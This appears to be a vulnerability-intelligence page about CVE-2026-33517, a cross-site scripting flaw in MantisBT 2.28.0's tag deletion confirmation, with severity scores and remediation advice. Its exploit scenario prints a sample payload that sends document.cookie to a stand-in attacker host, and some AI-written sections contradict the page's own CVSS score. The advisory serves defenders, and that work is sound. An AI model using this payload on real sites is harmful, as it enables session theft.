Skip to main content

Mantisbt EUVDEUVD-2026-14523

| CVE-2026-33517 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-03-23 GitHub_M
8.6
CVSS 4.0 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate to MantisBT application
  2. Delivery
    Navigate to tag deletion interface
  3. Exploit
    Craft malicious tag name with JavaScript payload
  4. Execution
    Submit tag deletion request
  5. Persist
    Malicious HTML/JavaScript executes in confirmation message
  6. Impact
    Arbitrary JavaScript runs in attacker's context

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Attacker must be authenticated user with tag deletion privileges in MantisBT 2.28.0. Victim must navigate to tag_delete.php and view the confirmation message containing the injected tag name. Successful JavaScript execution requires permissive Content Security Policy settings.

Impact

While formal CVSS and EPSS scores are not provided in the intelligence data, the vulnerability carries moderate-to-high real-world risk based on multiple corroborating signals. The attack vector is Network, requires user interaction (viewing the confirmation dialog), and typically requires at least low-level privileges (tag management capability) within MantisBT. The CWE-79 classification and the specific mention of CSP-dependent bypass indicate this is not a guaranteed code execution but rather a conditional XSS requiring either misconfigured CSP headers or in-scope JavaScript. The fact that a patch was released in version 2.28.1 shortly after 2.28.0, combined with the availability of workarounds in language files and the ability to revert the offending commit, suggests the vendor triaged this with moderate urgency. Given that MantisBT is open-source and widely deployed in enterprise environments, and tag deletion is a common administrative function, the exploitability is elevated; however, the need for user interaction and potential CSP mitigation reduces it from critical to high priority. Organizations running versions prior to 2.28.1 should prioritize patching.

Exploit ScenarioDerived

An authenticated attacker with tag management privileges crafts a malicious tag name containing JavaScript, such as '<img src=x onerror="fetch('https://attacker.com/steal?cookie=' + document.cookie)">' or '<svg onload=alert(1)>'. When an administrator navigates to delete this tag and views the confirmation dialog, the injected code executes in their browser (assuming CSP permits inline scripts or allows the attacker's domain), allowing the attacker to exfiltrate the administrator's session cookie, trigger actions on their behalf, or redirect them to a malicious site. The attack requires the administrator to visit the confirmation page, but given that tag deletion is a routine administrative function, this condition is easily met in active MantisBT deployments.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 23, 2026

MantisBT version 2.28.0 contains a Stored/Reflected Cross-Site Scripting (XSS) vulnerability in the tag deletion confirmation dialog (tag_delete.php) due to improper HTML escaping of tag names in the confirmation message. An authenticated attacker can inject malicious HTML and JavaScript code that executes in the browser of any user viewing the confirmation page, potentially leading to session hijacking, credential theft, or malware distribution. The vulnerability was patched in version 2.28.1, and proof-of-concept information is available via the GitHub security advisory and associated commit references.

RemediationAI

Immediately upgrade MantisBT to version 2.28.1 or later, which includes the security fix (referenced in commit 80990f43153167c73f11eb4b2bc7108d0c3d6b46). Until patching is feasible, apply the following interim mitigations: (1) revert commit d6890320752ecf37bd74d11fe14fe7dc12335be9 in your MantisBT installation, or (2) manually edit the language files to remove the sprintf placeholder %1$s from the $s_tag_delete_message string to prevent HTML injection in the confirmation message. Additionally, enforce a strict Content Security Policy (CSP) header on your MantisBT deployment to block inline script execution and restrict script sources to trusted domains only. Restrict tag deletion permissions to a minimal set of trusted administrators to reduce the attack surface. See https://github.com/mantisbt/mantisbt/commit/80990f43153167c73f11eb4b2bc7108d0c3d6b46 for technical details on the fix.

Affected VersionsENISA

mantisbt = 2.28.0

Affected Packages

composer mantisbt/mantisbt fix: 2.28.1
euvd mantisbt no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability exists in PHP-based MantisBT issue tracking software (cpe:2.3:a:mantisbt:mantisbt) and stems from CWE-79 (Improper Neutralization of Input During Web Page Generation, aka Cross-site Scripting). The root cause is in tag_delete.php where user-supplied tag names are embedded into a confirmation message using sprintf with the placeholder %1$s without proper HTML entity encoding or sanitization. Commit d6890320752ecf37bd74d11fe14fe7dc12335be9 introduced this issue by adding the sprintf formatting without corresponding output escaping. When the confirmation page is rendered, an attacker's injected HTML tags (such as <script>, <img onerror>, or event handlers) are interpreted by the browser, potentially bypassing Content Security Policy (CSP) if misconfigured, allowing arbitrary JavaScript execution in the context of the MantisBT application.

Know when Mantisbt gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 8.6 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch released
Mar 31, 2026 - 21:13 nvd
Patch available
CVE Published
Mar 23, 2026 - 19:13 nvd
HIGH 8.6

DescriptionGitHub Advisory

Mantis Bug Tracker (MantisBT) is an open source issue tracker. In version 2.28.0, when deleting a Tag (tag_delete.php), improper escaping of its name when displaying the confirmation message allows an attacker to inject HTML and, if CSP settings permit, achieve execution of arbitrary JavaScript. Version 2.28.1 fixes the issue. Workarounds include reverting commit d6890320752ecf37bd74d11fe14fe7dc12335be9 and/or manually editing language files to remove the sprintf placeholder %1$s from $s_tag_delete_message string.

Executive ViewAI

Why It Matters

CVE-2026-33517 presents significant security risk, a cross-site scripting vulnerability rated CVSS 8.6. Attackers could inject malicious scripts to steal user sessions, credentials, or perform actions on behalf of authenticated users. Organizations should apply vendor updates when available and consider compensating controls in the interim.

Business Impact: Severe
Compensating Controls

Apply vendor patch. If immediate patching is not feasible: (1) Implement Content-Security-Policy headers; (2) Enable HttpOnly and SameSite cookie attributes; (3) Deploy WAF XSS/CSRF rules.

Threat Intelligence Overview

EPSS Score
0.1%
Top 81% exploitable
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
Very High
Technical Impact
Total

Priority Score

43
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +43
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Related Vulnerabilities in Mantis Bug Tracker XSS and Authentication Flaws

View all 3
CVE-2017-7615 HIGH POC
8.8 Apr 16

MantisBT through 2.3.0 allows arbitrary password reset and unauthenticated admin access via an empty confirm_hash value

CVE-2014-7146 HIGH POC
7.5 Nov 18

The XmlImportExport plugin in MantisBT 1.2.17 and earlier allows remote attackers to execute arbitrary PHP code via a cr

CVE-2014-8598 MEDIUM POC
6.4 Nov 18

The XML Import/Export plugin in MantisBT 1.2.x does not restrict access, which allows remote attackers to (1) upload arb

CVE-2014-2238 MEDIUM POC
6.5 Mar 05

SQL injection vulnerability in the manage configuration page (adm_config_report.php) in MantisBT 1.2.13 through 1.2.16 a

CVE-2019-15074 CRITICAL POC
9.6 Aug 21

The Timeline feature in my_view_page.php in MantisBT through 2.21.1 has a stored cross-site scripting (XSS) vulnerabilit

CVE-2024-23830 HIGH POC
8.3 Feb 20

MantisBT is an open source issue tracker. Rated high severity (CVSS 8.3), this vulnerability is remotely exploitable, no

CVE-2012-2691 HIGH POC
7.5 Jun 17

The mc_issue_note_update function in the SOAP API in MantisBT before 1.2.11 does not properly check privileges, which al

CVE-2014-9280 HIGH POC
7.5 Dec 08

The current_user_get_bug_filter function in core/current_user_api.php in MantisBT before 1.2.18 allows remote attackers

CVE-2014-8554 HIGH POC
7.5 Nov 13

SQL injection vulnerability in the mc_project_get_attachments function in api/soap/mc_project_api.php in MantisBT before

CVE-2014-9089 HIGH POC
7.5 Nov 28

Multiple SQL injection vulnerabilities in view_all_bug_page.php in MantisBT before 1.2.18 allow remote attackers to exec

CVE-2014-1608 HIGH POC
7.5 Mar 18

SQL injection vulnerability in the mci_file_get function in api/soap/mc_file_api.php in MantisBT before 1.2.16 allows re

Vendor StatusVendor

Debian

mantis
Release Status Fixed Version Urgency
(unstable) fixed (unfixed) -

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy